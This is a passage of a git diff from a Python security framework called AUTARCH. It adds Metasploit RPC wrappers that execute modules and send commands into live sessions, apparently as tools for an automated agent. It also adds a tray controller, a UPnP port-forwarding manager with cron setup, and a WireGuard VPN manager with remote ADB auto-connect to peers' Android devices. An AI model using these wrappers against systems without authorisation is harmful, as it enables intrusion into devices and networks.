"*" if details.get('required', False) else "" + default = details.get('default', '') + desc = details.get('desc', '')[:50] + output.append(f"{name}{required}: {desc} [default: {default}]") + else: + output.append(f"{name}: {details}") + return '\n'.join(output) if output else "No options available" + except MSFError as e: + return f"[error]: {e}" + + def _tool_msf_execute(self, module_type: str, module_name: str, options: str) -> str: + """Execute a Metasploit module.""" + from .msf import get_msf_manager, MSFError + + msf = get_msf_manager() + if not msf.is_connected: + return "[error]: Not connected to Metasploit. Use msf_connect first." + + try: + opts = json.loads(options) if isinstance(options, str) else options + except json.JSONDecodeError: + return "[error]: Invalid JSON in options parameter" + + try: + result = msf.rpc.execute_module(module_type, module_name, opts) + job_id = result.get('job_id') + uuid = result.get('uuid') + return f"Module executed. Job ID: {job_id}, UUID: {uuid}" + except MSFError as e: + return f"[error]: {e}" + + def _tool_msf_sessions(self) -> str: + """List active sessions.""" + from .msf import get_msf_manager, MSFError + + msf = get_msf_manager() + if not msf.is_connected: + return "[error]: Not connected to Metasploit. Use msf_connect first." + + try: + sessions = msf.rpc.list_sessions() + if not sessions: + return "No active sessions" + + output = [] + for sid, info in sessions.items(): + if isinstance(info, dict): + stype = info.get('type', 'Unknown') + target = info.get('target_host', 'Unknown') + user = info.get('username', '') + output.append(f"[{sid}] {stype} - {target} ({user})") + else: + output.append(f"[{sid}] {info}") + return '\n'.join(output) + except MSFError as e: + return f"[error]: {e}" + + def _tool_msf_session_command(self, session_id: str, command: str) -> str: + """Execute command in a session.""" + from .msf import get_msf_manager, MSFError + + msf = get_msf_manager() + if not msf.is_connected: + return "[error]: Not connected to Metasploit. Use msf_connect first." + + try: + msf.rpc.session_shell_write(session_id, command) + import time + time.sleep(1) # Wait for command execution + output = msf.rpc.session_shell_read(session_id) + return output if output else "[no output]" + except MSFError as e: + return f"[error]: {e}" + + def _tool_msf_console(self, command: str) -> str: + """Run a console command.""" + from .msf import get_msf_manager, MSFError + + msf = get_msf_manager() + if not msf.is_connected: + return "[error]: Not connected to Metasploit. Use msf_connect first." + + try: + output = msf.rpc.run_console_command(command) + return output if output else "[no output]" + except MSFError as e: + return f"[error]: {e}" + + +# Global tool registry +_registry: Optional[ToolRegistry] = None + + +def get_tool_registry() -> ToolRegistry: + """Get the global tool registry.""" + global _registry + if _registry is None: + _registry = ToolRegistry() + return _registry diff --git a/core/tray.py b/core/tray.py new file mode 100644 index 0000000..058b659 --- /dev/null +++ b/core/tray.py @@ -0,0 +1,147 @@ +"""AUTARCH System Tray Icon + +Provides a taskbar/system tray icon with Start, Stop, Restart, Open Dashboard, +and Exit controls for the web dashboard. + +Requires: pystray, Pillow +""" + +import sys +import threading +import webbrowser +from pathlib import Path + +try: + import pystray + from PIL import Image, ImageDraw, ImageFont + TRAY_AVAILABLE = True +except ImportError: + TRAY_AVAILABLE = False + + +def _get_icon_path(): + """Find the .ico file — works in both source and frozen (PyInstaller) builds.""" + if getattr(sys, 'frozen', False): + base = Path(sys._MEIPASS) + else: + base = Path(__file__).parent.parent + ico = base / 'autarch.ico' + if ico.exists(): + return ico + return None + + +def create_icon_image(size=64): + """Load tray icon from .ico file, falling back to programmatic generation.""" + ico_path = _get_icon_path() + if ico_path: + try: + img = Image.open(str(ico_path)) + img = img.resize((size, size), Image.LANCZOS) + return img.convert('RGBA') + except Exception: + pass + + # Fallback: generate programmatically + img = Image.new('RGBA', (size, size), (0, 0, 0, 0)) + draw = ImageDraw.Draw(img) + draw.ellipse([1, 1, size - 2, size - 2], fill=(15, 15, 25, 255), + outline=(0, 180, 255, 255), width=2) + try: + font = ImageFont.truetype("arial.ttf", int(size * 0.5)) + except OSError: + font = ImageFont.load_default() + bbox = draw.textbbox((0, 0), "A", font=font) + tw, th = bbox[2] - bbox[0], bbox[3] - bbox[1] + x = (size - tw) // 2 + y = (size - th) // 2 - bbox[1] + draw.text((x, y), "A", fill=(0, 200, 255, 255), font=font) + return img + + +class TrayManager: + """Manages the system tray icon and Flask server lifecycle.""" + + def __init__(self, app, host, port, ssl_context=None): + self.app = app + self.host = host + self.port = port + self.ssl_context = ssl_context + self._server = None + self._thread = None + self.running = False + self._icon = None + self._proto = 'https' if ssl_context else 'http' + + def start_server(self): + """Start the Flask web server in a background thread.""" + if self.running: + return + + from werkzeug.serving import make_server + self._server = make_server(self.host, self.port, self.app, threaded=True) + + if self.ssl_context: + import ssl + ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) + ctx.load_cert_chain(self.ssl_context[0], self.ssl_context[1]) + self._server.socket = ctx.wrap_socket(self._server.socket, server_side=True) + + self.running = True + self._thread = threading.Thread(target=self._server.serve_forever, daemon=True) + self._thread.start() + + def stop_server(self): + """Stop the Flask web server.""" + if not self.running or not self._server: + return + self._server.shutdown() + self._server = None + self._thread = None + self.running = False + + def restart_server(self): + """Stop and restart the Flask web server.""" + self.stop_server() + self.start_server() + + def open_browser(self): + """Open the dashboard in the default web browser.""" + if self.running: + host = 'localhost' if self.host in ('0.0.0.0', '::') else self.host + webbrowser.open(f"{self._proto}://{host}:{self.port}") + + def quit(self): + """Stop server and exit the tray icon.""" + self.stop_server() + if self._icon: + self._icon.stop() + + def run(self): + """Start server and show tray icon. Blocks until Exit is clicked.""" + if not TRAY_AVAILABLE: + raise RuntimeError("pystray or Pillow not installed") + + self.start_server() + + image = create_icon_image() + menu = pystray.Menu( + pystray.MenuItem( + lambda item: f"AUTARCH — {'Running' if self.running else 'Stopped'}", + None, enabled=False), + pystray.Menu.SEPARATOR, + pystray.MenuItem("Start", lambda: self.start_server(), + enabled=lambda item: not self.running), + pystray.MenuItem("Stop", lambda: self.stop_server(), + enabled=lambda item: self.running), + pystray.MenuItem("Restart", lambda: self.restart_server(), + enabled=lambda item: self.running), + pystray.Menu.SEPARATOR, + pystray.MenuItem("Open Dashboard", lambda: self.open_browser(), + enabled=lambda item: self.running, default=True), + pystray.Menu.SEPARATOR, + pystray.MenuItem("Exit", lambda: self.quit()), + ) + + self._icon = pystray.Icon("autarch", image, "AUTARCH", menu=menu) + self._icon.run() # Blocks until quit() diff --git a/core/upnp.py b/core/upnp.py new file mode 100644 index 0000000..a206d36 --- /dev/null +++ b/core/upnp.py @@ -0,0 +1,274 @@ +""" +AUTARCH UPnP Manager +Manages UPnP port forwarding via miniupnpc (upnpc CLI) +""" + +import subprocess +import re +from pathlib import Path +from typing import List, Dict, Optional, Tuple + +from core.paths import find_tool + + +class UPnPManager: + """UPnP port forwarding manager wrapping the upnpc CLI.""" + + def __init__(self, config=None): + self.config = config + self._upnpc = find_tool('upnpc') + + def is_available(self) -> bool: + """Check if upnpc is installed.""" + return self._upnpc is not None + + def _run(self, args: list, timeout: int = 15) -> Tuple[bool, str]: + """Run upnpc with arguments and return (success, output).""" + if not self._upnpc: + return False, "upnpc not found. Install miniupnpc." + try: + result = subprocess.run( + [self._upnpc] + args, + capture_output=True, text=True, timeout=timeout + ) + output = result.stdout + result.stderr + return result.returncode == 0, output.strip() + except subprocess.TimeoutExpired: + return False, "Command timed out" + except Exception as e: + return False, str(e) + + def list_mappings(self) -> Tuple[bool, str]: + """List current UPnP port mappings.""" + return self._run(['-l']) + + def add_mapping(self, internal_ip: str, internal_port: int, + external_port: int, protocol: str, + description: str = "AUTARCH") -> Tuple[bool, str]: + """Add a UPnP port mapping. + + Args: + internal_ip: LAN IP to forward to + internal_port: Internal port number + external_port: External port number + protocol: TCP or UDP + description: Mapping description + """ + protocol = protocol.upper() + if protocol not in ('TCP', 'UDP'): + return False, "Protocol must be TCP or UDP" + return self._run([ + '-a', internal_ip, + str(internal_port), str(external_port), + protocol, '0', description + ]) + + def remove_mapping(self, external_port: int, protocol: str) -> Tuple[bool, str]: + """Remove a UPnP port mapping.""" + protocol = protocol.upper() + return self._run(['-d', str(external_port), protocol]) + + def get_external_ip(self) -> Tuple[bool, str]: + """Get the external IP via UPnP.""" + success, output = self._run(['-e']) + if success: + # Parse "ExternalIPAddress = x.x.x.x" from output + for line in output.splitlines(): + if 'ExternalIPAddress' in line: + parts = line.split('=') + if len(parts) >= 2: + return True, parts[-1].strip() + # If no specific line found, return raw output + return True, output + return False, output + + def refresh_all(self) -> List[Dict]: + """Re-add all configured port mappings. Returns list of results.""" + mappings = self.load_mappings_from_config() + internal_ip = self._get_internal_ip() + results = [] + + for mapping in mappings: + port = mapping['port'] + proto = mapping['protocol'] + desc = mapping.get('description', 'AUTARCH') + success, output = self.add_mapping( + internal_ip, port, port, proto, desc + ) + results.append({ + 'port': port, + 'protocol': proto, + 'success': success, + 'message': output + }) + + return results + + def _get_internal_ip(self) -> str: + """Get the configured internal IP.""" + if self.config: + return self.config.get('upnp', 'internal_ip', fallback='10.0.0.26') + return '10.0.0.26' + + def load_mappings_from_config(self) -> List[Dict]: + """Load port mappings from config file. + + Config format: mappings = 443:TCP,51820:UDP,8080:TCP + """ + if not self.config: + return [] + + mappings_str = self.config.get('upnp', 'mappings', fallback='') + if not mappings_str: + return [] + + mappings = [] + for entry in mappings_str.split(','): + entry = entry.strip() + if ':' in entry: + parts = entry.split(':') + try: + mappings.append({ + 'port': int(parts[0]), + 'protocol': parts[1].upper() + }) + except (ValueError, IndexError): + continue + return mappings + + def save_mappings_to_config(self, mappings: List[Dict]): + """Save port mappings to config file.""" + if not self.config: + return + + mappings_str = ','.join( + f"{m['port']}:{m['protocol']}" for m in mappings + ) + self.config.set('upnp', 'mappings', mappings_str) + self.config.save() + + # --- Cron Management --- + + def _get_autarch_path(self) -> str: + """Get the path to autarch.py.""" + from core.paths import get_app_dir + return str(get_app_dir() / 'autarch.py') + + def _get_cron_command(self) -> str: + """Get the cron command string for UPnP refresh.""" + autarch_path = self._get_autarch_path() + return f'/usr/bin/python3 {autarch_path} --upnp-refresh > /dev/null 2>&1' + + def get_cron_status(self) -> Dict: + """Check if UPnP cron job is installed. + + Returns: + Dict with 'installed' (bool), 'interval' (str), 'line' (str) + """ + try: + result = subprocess.run( + ['crontab', '-l'], + capture_output=True, text=True, timeout=5 + ) + if result.returncode != 0: + return {'installed': False, 'interval': None, 'line': None} + + for line in result.stdout.splitlines(): + if 'upnp-refresh' in line and not line.startswith('#'): + # Parse interval from cron expression + match = re.match(r'^\d+\s+\*/(\d+)', line) + interval = match.group(1) if match else '?' + return { + 'installed': True, + 'interval': f'{interval}h', + 'line': line.strip() + } + + return {'installed': False, 'interval': None, 'line': None} + except Exception: + return {'installed': False, 'interval': None, 'line': None} + + def install_cron(self, interval_hours: int = 12) -> Tuple[bool, str]: + """Install a crontab entry for periodic UPnP refresh. + + Args: + interval_hours: How often to refresh (in hours) + """ + # First remove any existing entry + self.uninstall_cron() + + cron_line = f'0 */{interval_hours} * * * {self._get_cron_command()}' + + try: + # Get current crontab + result = subprocess.run( + ['crontab', '-l'], + capture_output=True, text=True, timeout=5 + ) + existing = result.stdout if result.returncode == 0 else '' + + # Append new entry + new_crontab = existing.rstrip('\n') + '\n' + cron_line + '\n' + + # Install + proc = subprocess.run( + ['crontab', '-'], + input=new_crontab, capture_output=True, text=True, timeout=5 + ) + + if proc.returncode == 0: + # Save interval to config + if self.config: + self.config.set('upnp', 'refresh_hours', str(interval_hours)) + self.config.save() + return True, f"Cron job installed: every {interval_hours} hours" + else: + return False, proc.stderr + except Exception as e: + return False, str(e) + + def uninstall_cron(self) -> Tuple[bool, str]: + """Remove the UPnP refresh cron job.""" + try: + result = subprocess.run( + ['crontab', '-l'], + capture_output=True, text=True, timeout=5 + ) + if result.returncode != 0: + return True, "No crontab exists" + + # Filter out our line + lines = result.stdout.splitlines() + filtered = [l for l in lines if 'upnp-refresh' not in l] + + if len(lines) == len(filtered): + return True, "No UPnP cron job found" + + new_crontab = '\n'.join(filtered) + '\n' + + proc = subprocess.run( + ['crontab', '-'], + input=new_crontab, capture_output=True, text=True, timeout=5 + ) + + if proc.returncode == 0: + return True, "Cron job removed" + else: + return False, proc.stderr + except Exception as e: + return False, str(e) + + +# Singleton +_upnp_manager = None + + +def get_upnp_manager(config=None) -> UPnPManager: + """Get the global UPnP manager instance.""" + global _upnp_manager + if _upnp_manager is None: + if config is None: + from core.config import get_config + config = get_config() + _upnp_manager = UPnPManager(config) + return _upnp_manager diff --git a/core/wireguard.py b/core/wireguard.py new file mode 100644 index 0000000..3d83509 --- /dev/null +++ b/core/wireguard.py @@ -0,0 +1,858 @@ +""" +AUTARCH WireGuard VPN Manager +Server management, client/peer CRUD, remote ADB (TCP/IP + USB/IP). + +Integrates /home/snake/wg_setec/ functionality into the AUTARCH framework +with added remote ADB and USB/IP support for Android device management +over WireGuard tunnels. +""" + +import io +import json +import re +import subprocess +import time +import uuid +from datetime import datetime +from pathlib import Path +from typing import Optional, Dict, List, Any, Tuple + +from core.paths import get_data_dir, find_tool + + +class WireGuardManager: + """WireGuard VPN + Remote ADB manager.""" + + def __init__(self, config=None): + self._wg_bin = find_tool('wg') + self._wg_quick = find_tool('wg-quick') + self._usbip_bin = find_tool('usbip') + + self._data_dir = get_data_dir() / 'wireguard' + self._data_dir.mkdir(parents=True, exist_ok=True) + self._clients_file = self._data_dir / 'clients.json' + self._last_ip_file = self._data_dir / 'last_ip' + + # Config from autarch_settings.conf [wireguard] section + self._config = config or {} + self._wg_config_path = self._config.get('config_path', '/etc/wireguard/wg0.conf') + self._interface = self._config.get('interface', 'wg0') + self._subnet = self._config.get('subnet', '10.1.0.0/24') + self._server_address = self._config.get('server_address', '10.1.0.1') + self._listen_port = self._config.get('listen_port', '51820') + self._default_dns = self._config.get('default_dns', '1.1.1.1, 8.8.8.8') + self._default_allowed_ips = self._config.get('default_allowed_ips', '0.0.0.0/0, ::/0') + + # ── Helpers ────────────────────────────────────────────────────── + + def _run_wg(self, args, timeout=10): + """Run wg command, return (stdout, stderr, rc).""" + if not self._wg_bin: + return ('', 'wg binary not found', 1) + cmd = [self._wg_bin] + args + try: + proc = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) + return (proc.stdout, proc.stderr, proc.returncode) + except subprocess.TimeoutExpired: + return ('', 'Command timed out', 1) + except Exception as e: + return ('', str(e), 1) + + def _run_wg_sudo(self, args, timeout=10): + """Run wg command with sudo, return (stdout, stderr, rc).""" + if not self._wg_bin: + return ('', 'wg binary not found', 1) + cmd = ['sudo', self._wg_bin] + args + try: + proc = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) + return (proc.stdout, proc.stderr, proc.returncode) + except subprocess.TimeoutExpired: + return ('', 'Command timed out', 1) + except Exception as e: + return ('', str(e), 1) + + def _run_cmd(self, cmd, timeout=10, input_data=None): + """Run arbitrary command, return (stdout, stderr, rc).""" + try: + proc = subprocess.run( + cmd, capture_output=True, text=True, + timeout=timeout, input=input_data + ) + return (proc.stdout, proc.stderr, proc.returncode) + except subprocess.TimeoutExpired: + return ('', 'Command timed out', 1) + except Exception as e: + return ('', str(e), 1) + + def _load_clients(self): + """Load clients from JSON file.""" + if not self._clients_file.exists(): + return {} + try: + with open(self._clients_file, 'r') as f: + return json.load(f) + except (json.JSONDecodeError, OSError): + return {} + + def _save_clients(self, data): + """Save clients to JSON file.""" + with open(self._clients_file, 'w') as f: + json.dump(data, f, indent=2) + + def _get_server_public_key(self): + """Read server public key.""" + # Try file first + key_path = Path('/etc/wireguard/server_public.key') + if key_path.exists(): + try: + return key_path.read_text().strip() + except OSError: + pass + # Try wg show + stdout, _, rc = self._run_wg_sudo(['show', self._interface, 'public-key']) + if rc == 0 and stdout.strip(): + return stdout.strip() + return '' + + def _get_server_endpoint(self): + """Read server public IP/endpoint.""" + ip_path = Path('/etc/wireguard/server_public_ip') + if ip_path.exists(): + try: + return ip_path.read_text().strip() + except OSError: + pass + return '' + + def _adb_bin(self): + """Get ADB binary path.""" + return find_tool('adb') + + def _run_adb(self, args, timeout=30): + """Run ADB command, return (stdout, stderr, rc).""" + adb = self._adb_bin() + if not adb: + return ('', 'adb binary not found', 1) + cmd = [adb] + args + try: + proc = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) + return (proc.stdout, proc.stderr, proc.returncode) + except subprocess.TimeoutExpired: + return ('', 'Command timed out', 1) + except Exception as e: + return ('', str(e), 1) + + # ── Server Management ──────────────────────────────────────────── + + def is_available(self): + """Check if wg binary exists.""" + return self._wg_bin is not None + + def get_server_status(self): + """Parse wg show for interface info.""" + stdout, stderr, rc = self._run_wg_sudo(['show', self._interface]) + if rc != 0: + return { + 'running': False, + 'interface': self._interface, + 'error': stderr.strip() if stderr else 'Interface not running', + } + + info = { + 'interface': self._interface, + 'running': True, + 'public_key': self._get_server_public_key(), + 'endpoint': f'{self._get_server_endpoint()}:{self._listen_port}', + 'listen_port': self._listen_port, + } + + for line in stdout.split('\n'): + line = line.strip() + if line.startswith('listening port:'): + info['listen_port'] = line.split(':', 1)[1].strip() + elif line.startswith('public key:'): + info['public_key'] = line.split(':', 1)[1].strip() + + # Count peers + peer_count = stdout.count('peer:') + info['peer_count'] = peer_count + + return info + + def start_interface(self): + """Start WireGuard interface with wg-quick.""" + if not self._wg_quick: + return {'ok': False, 'error': 'wg-quick not found'} + stdout, stderr, rc = self._run_cmd( + ['sudo', self._wg_quick, 'up', self._interface], timeout=15) + if rc == 0: + return {'ok': True, 'message': f'{self._interface} started'} + # Already running is not an error + if 'already exists' in stderr: + return {'ok': True, 'message': f'{self._interface} already running'} + return {'ok': False, 'error': stderr.strip() or 'Failed to start'} + + def stop_interface(self): + """Stop WireGuard interface with wg-quick.""" + if not self._wg_quick: + return {'ok': False, 'error': 'wg-quick not found'} + stdout, stderr, rc = self._run_cmd( + ['sudo', self._wg_quick, 'down', self._interface], timeout=15) + if rc == 0: + return {'ok': True, 'message': f'{self._interface} stopped'} + if 'is not a WireGuard interface' in stderr: + return {'ok': True, 'message': f'{self._interface} already stopped'} + return {'ok': False, 'error': stderr.strip() or 'Failed to stop'} + + def restart_interface(self): + """Restart WireGuard interface.""" + self.stop_interface() + time.sleep(1) + return self.start_interface() + + # ── Key Generation ─────────────────────────────────────────────── + + def generate_keypair(self): + """Generate WireGuard keypair. Returns (private_key, public_key).""" + priv_out, priv_err, priv_rc = self._run_wg(['genkey']) + if priv_rc != 0: + return (None, None) + private_key = priv_out.strip() + pub_out, pub_err, pub_rc = self._run_wg(['pubkey'], timeout=5) + # pubkey reads from stdin, need to pipe + proc = subprocess.run( + [self._wg_bin, 'pubkey'], input=private_key, + capture_output=True, text=True, timeout=5 + ) + if proc.returncode != 0: + return (None, None) + public_key = proc.stdout.strip() + return (private_key, public_key) + + def generate_preshared_key(self): + """Generate WireGuard preshared key.""" + stdout, _, rc = self._run_wg(['genpsk']) + if rc == 0: + return stdout.strip() + return None + + # ── IP Assignment ──────────────────────────────────────────────── + + def get_next_ip(self): + """Get next available client IP in the subnet.""" + try: + if self._last_ip_file.exists(): + last_octet = int(self._last_ip_file.read_text().strip()) + else: + last_octet = 1 + except (ValueError, OSError): + last_octet = 1 + + next_octet = last_octet + 1 + self._last_ip_file.write_text(str(next_octet)) + + # Extract subnet prefix (e.g. "10.1.0" from "10.1.0.0/24") + prefix = '.'.join(self._subnet.split('.')[:3]) + return f'{prefix}.{next_octet}' + + # ── Client/Peer Management ─────────────────────────────────────── + + def create_client(self, name, dns=None, allowed_ips=None): + """Create a new WireGuard client/peer.""" + private_key, public_key = self.generate_keypair() + if not private_key: + return {'ok': False, 'error': 'Failed to generate keypair'} + + preshared_key = self.generate_preshared_key() + assigned_ip = self.get_next_ip() + + client_id = str(uuid.uuid4())[:8] + client = { + 'id': client_id, + 'name': name, + 'private_key': private_key, + 'public_key': public_key, + 'preshared_key': preshared_key or '', + 'assigned_ip': assigned_ip, + 'dns': dns or self._default_dns, + 'allowed_ips': allowed_ips or self._default_allowed_ips, + 'enabled': True, + 'created_at': datetime.now().isoformat(), + } + + # Add to live WireGuard + try: + self._add_peer_to_wg(public_key, preshared_key, assigned_ip) + except Exception as e: + return {'ok': False, 'error': f'Failed to add peer to WG: {e}'} + + # Add to config file + try: + self._append_peer_to_config(public_key, preshared_key, assigned_ip, name) + except Exception as e: + pass # Non-fatal, peer is live + + # Save to JSON store + clients = self._load_clients() + clients[client_id] = client + self._save_clients(clients) + + return {'ok': True, 'client': client} + + def delete_client(self, client_id): + """Delete a client/peer.""" + clients = self._load_clients() + client = clients.get(client_id) + if not client: + return {'ok': False, 'error': 'Client not found'} + + # Remove from live WG + self._remove_peer_from_wg(client['public_key']) + + # Remove from config file + try: + self._remove_peer_from_config(client['public_key']) + except Exception: + pass + + # Remove from JSON + del clients[client_id] + self._save_clients(clients) + + return {'ok': True, 'message': f'Client {client["name"]} deleted'} + + def toggle_client(self, client_id, enabled): + """Enable or disable a client.""" + clients = self._load_clients() + client = clients.get(client_id) + if not client: + return {'ok': False, 'error': 'Client not found'} + + if enabled and not client.get('enabled', True): + # Re-add peer + self._add_peer_to_wg( + client['public_key'], client.get('preshared_key', ''), + client['assigned_ip']) + elif not enabled and client.get('enabled', True): + # Remove peer + self._remove_peer_from_wg(client['public_key']) + + client['enabled'] = enabled + self._save_clients(clients) + action = 'enabled' if enabled else 'disabled' + return {'ok': True, 'message': f'Client {client["name"]} {action}'} + + def get_all_clients(self): + """Get list of all clients.""" + clients = self._load_clients() + return list(clients.values()) + + def get_client(self, client_id): + """Get single client by ID.""" + clients = self._load_clients() + return clients.get(client_id) + + def get_peer_status(self): + """Parse wg show for per-peer stats. Returns dict keyed by public key.""" + stdout, _, rc = self._run_wg_sudo(['show', self._interface]) + if rc != 0: + return {} + + peers = {} + current_peer = None + + for line in stdout.split('\n'): + line = line.strip() + if line.startswith('peer:'): + current_peer = line.split(':', 1)[1].strip() + peers[current_peer] = { + 'public_key': current_peer, + 'latest_handshake': None, + 'latest_handshake_str': '', + 'transfer_rx': 0, + 'transfer_tx': 0, + 'transfer_rx_str': '', + 'transfer_tx_str': '', + 'allowed_ips': '', + 'endpoint': '', + } + elif current_peer: + if line.startswith('latest handshake:'): + hs_str = line.split(':', 1)[1].strip() + peers[current_peer]['latest_handshake'] = _parse_handshake(hs_str) + peers[current_peer]['latest_handshake_str'] = hs_str + elif line.startswith('transfer:'): + transfer = line.split(':', 1)[1].strip() + parts = transfer.split(',') + if len(parts) == 2: + peers[current_peer]['transfer_rx'] = _parse_transfer(parts[0].strip()) + peers[current_peer]['transfer_tx'] = _parse_transfer(parts[1].strip()) + peers[current_peer]['transfer_rx_str'] = parts[0].strip().replace('received', '').strip() + peers[current_peer]['transfer_tx_str'] = parts[1].strip().replace('sent', '').strip() + elif line.startswith('allowed ips:'): + peers[current_peer]['allowed_ips'] = line.split(':', 1)[1].strip() + elif line.startswith('endpoint:'): + peers[current_peer]['endpoint'] = line.split(':', 1)[1].strip() + + return peers + + def _add_peer_to_wg(self, public_key, preshared_key, allowed_ip): + """Add peer to live WireGuard interface.""" + if preshared_key: + stdout, stderr, rc = self._run_cmd( + ['sudo', self._wg_bin, 'set', self._interface, + 'peer', public_key, + 'preshared-key', '/dev/stdin', + 'allowed-ips', f'{allowed_ip}/32'], + input_data=preshared_key, timeout=10 + ) + else: + stdout, stderr, rc = self._run_wg_sudo( + ['set', self._interface, + 'peer', public_key, + 'allowed-ips', f'{allowed_ip}/32']) + if rc != 0: + raise RuntimeError(f'wg set failed: {stderr}') + + def _remove_peer_from_wg(self, public_key): + """Remove peer from live WireGuard interface.""" + self._run_wg_sudo( + ['set', self._interface, 'peer', public_key, 'remove']) + + def _append_peer_to_config(self, public_key, preshared_key, allowed_ip, name=''): + """Append [Peer] block to wg0.conf.""" + config_path = Path(self._wg_config_path) + if not config_path.exists(): + return + content = config_path.read_text() + timestamp = time.strftime('%c') + block = f'\n# Client: {name} - Added {timestamp}\n[Peer]\n' + block += f'PublicKey = {public_key}\n' + if preshared_key: + block += f'PresharedKey = {preshared_key}\n' + block += f'AllowedIPs = {allowed_ip}/32\n' + # Write via sudo tee + self._run_cmd( + ['sudo', 'tee', '-a', self._wg_config_path], + input_data=block, timeout=5) + + def _remove_peer_from_config(self, public_key): + """Remove [Peer] block from wg0.conf.""" + config_path = Path(self._wg_config_path) + if not config_path.exists(): + return + # Read via sudo + stdout, _, rc = self._run_cmd(['sudo', 'cat', self._wg_config_path]) + if rc != 0: + return + content = stdout + + lines = content.split('\n') + new_lines = [] + i = 0 + while i < len(lines): + line = lines[i] + # Check comment line preceding peer block + if line.strip().startswith('# Client:') and i + 1 < len(lines): + block_lines = [line] + j = i + 1 + while j < len(lines): + if (lines[j].strip() == '' or + (lines[j].strip().startswith('[') and lines[j].strip() != '[Peer]') or + lines[j].strip().startswith('# Client:')): + break + block_lines.append(lines[j]) + j += 1 + if public_key in '\n'.join(block_lines): + i = j + continue + elif line.strip() == '[Peer]': + block_lines = [line] + j = i + 1 + while j < len(lines): + if (lines[j].strip() == '' or + (lines[j].strip().startswith('[') and lines[j].strip() != '[Peer]') or + lines[j].strip().startswith('# Client:')): + break + block_lines.append(lines[j]) + j += 1 + if public_key in '\n'.join(block_lines): + i = j + continue + new_lines.append(line) + i += 1 + + cleaned = re.sub(r'\n{3,}', '\n\n', '\n'.join(new_lines)) + # Write back via sudo tee + self._run_cmd( + ['sudo', 'tee', self._wg_config_path], + input_data=cleaned, timeout=5) + + def import_existing_peers(self): + """Parse wg0.conf and import existing peers into JSON store.""" + stdout, _, rc = self._run_cmd(['sudo', 'cat', self._wg_config_path]) + if rc != 0: + return {'ok': False, 'error': 'Cannot read WG config', 'imported': 0} + + lines = stdout.split('\n') + peers = [] + current_peer = None + pending_name = None + + for line in lines: + stripped = line.strip() + name_match = re.match(r'# Client:\s*(.+?)(?:\s*-\s*Added|$)', stripped) + if name_match: + pending_name = name_match.group(1).strip() + continue + if stripped == '[Peer]': + current_peer = {'name': pending_name} + peers.append(current_peer) + pending_name = None + continue + if stripped.startswith('['): + current_peer = None + pending_name = None + continue + if current_peer is not None and '=' in stripped: + key, val = stripped.split('=', 1) + current_peer[key.strip()] = val.strip() + + clients = self._load_clients() + existing_keys = {c['public_key'] for c in clients.values()} + imported = 0 + + for peer in peers: + public_key = peer.get('PublicKey') + allowed_ip = peer.get('AllowedIPs', '').replace('/32', '') + preshared_key = peer.get('PresharedKey', '') + name = peer.get('name') or 'legacy-client' + + if not public_key or not allowed_ip: + continue + if public_key in existing_keys: + continue + + # Ensure unique name + existing_names = {c['name'] for c in clients.values()} + final_name = name + counter = 1 + while final_name in existing_names: + final_name = f'{name}-{counter}' + counter += 1 + + client_id = str(uuid.uuid4())[:8] + clients[client_id] = { + 'id': client_id, + 'name': final_name, + 'private_key': '', + 'public_key': public_key, + 'preshared_key': preshared_key, + 'assigned_ip': allowed_ip, + 'dns': self._default_dns, + 'allowed_ips': self._default_allowed_ips, + 'enabled': True, + 'created_at': datetime.now().isoformat(), + 'imported': True, + } + existing_keys.add(public_key) + imported += 1 + + self._save_clients(clients) + return {'ok': True, 'imported': imported} + + # ── Client Config Generation ───────────────────────────────────── + + def generate_client_config(self, client): + """Build the .conf file content for a client.""" + server_pubkey = self._get_server_public_key() + server_endpoint = self._get_server_endpoint() + + lines = ['[Interface]'] + if client.get('private_key'): + lines.append(f"PrivateKey = {client['private_key']}") + lines.append(f"Address = {client['assigned_ip']}/32") + lines.append(f"DNS = {client.get('dns', self._default_dns)}") + lines.append('') + lines.append('[Peer]') + lines.append(f'PublicKey = {server_pubkey}') + if client.get('preshared_key'): + lines.append(f"PresharedKey = {client['preshared_key']}") + lines.append(f'Endpoint = {server_endpoint}:{self._listen_port}') + lines.append(f"AllowedIPs = {client.get('allowed_ips', self._default_allowed_ips)}") + lines.append('PersistentKeepalive = 25') + lines.append('') + return '\n'.join(lines) + + def generate_qr_code(self, config_text): + """Generate QR code PNG bytes from config text.""" + try: + import qrcode + qr = qrcode.QRCode( + version=1, box_size=10, border=4, + error_correction=qrcode.constants.ERROR_CORRECT_L) + qr.add_data(config_text) + qr.make(fit=True) + img = qr.make_image(fill_color='black', back_color='white') + buf = io.BytesIO() + img.save(buf, format='PNG') + buf.seek(0) + return buf.getvalue() + except ImportError: + return None + + # ── Remote ADB — TCP/IP ────────────────────────────────────────── + + def adb_connect(self, client_ip): + """Connect to device via ADB TCP/IP over WireGuard tunnel.""" + stdout, stderr, rc = self._run_adb( + ['connect', f'{client_ip}:5555'], timeout=15) + output = (stdout + stderr).strip() + if 'connected' in output.lower(): + return {'ok': True, 'message': output} + return {'ok': False, 'error': output or 'Connection failed'} + + def adb_disconnect(self, client_ip): + """Disconnect ADB TCP/IP device.""" + stdout, stderr, rc = self._run_adb( + ['disconnect', f'{client_ip}:5555'], timeout=10) + return {'ok': rc == 0, 'message': (stdout + stderr).strip()} + + def get_adb_remote_devices(self): + """Filter adb devices for WireGuard subnet IPs.""" + stdout, _, rc = self._run_adb(['devices', '-l'], timeout=10) + if rc != 0: + return [] + # Extract WG subnet prefix + prefix = '.'.join(self._subnet.split('.')[:3]) + '.' + devices = [] + for line in stdout.strip().split('\n')[1:]: # skip header + line = line.strip() + if not line or 'List of' in line: + continue + parts = line.split() + if parts and parts[0].startswith(prefix): + serial = parts[0] + state = parts[1] if len(parts) > 1 else 'unknown' + model = '' + for p in parts[2:]: + if p.startswith('model:'): + model = p.split(':', 1)[1] + devices.append({ + 'serial': serial, + 'state': state, + 'model': model, + 'ip': serial.split(':')[0], + }) + return devices + + def auto_connect_peers(self): + """Try ADB connect on all active WG peers.""" + peer_status = self.get_peer_status() + clients = self._load_clients() + results = [] + + for client in clients.values(): + if not client.get('enabled', True): + continue + # Check if peer has recent handshake + pub_key = client['public_key'] + peer = peer_status.get(pub_key, {}) + hs = peer.get('latest_handshake') + if hs is not None and hs < 180: # Active within 3 minutes + ip = client['assigned_ip'] + result = self.adb_connect(ip) + results.append({ + 'name': client['name'], + 'ip': ip, + 'result': 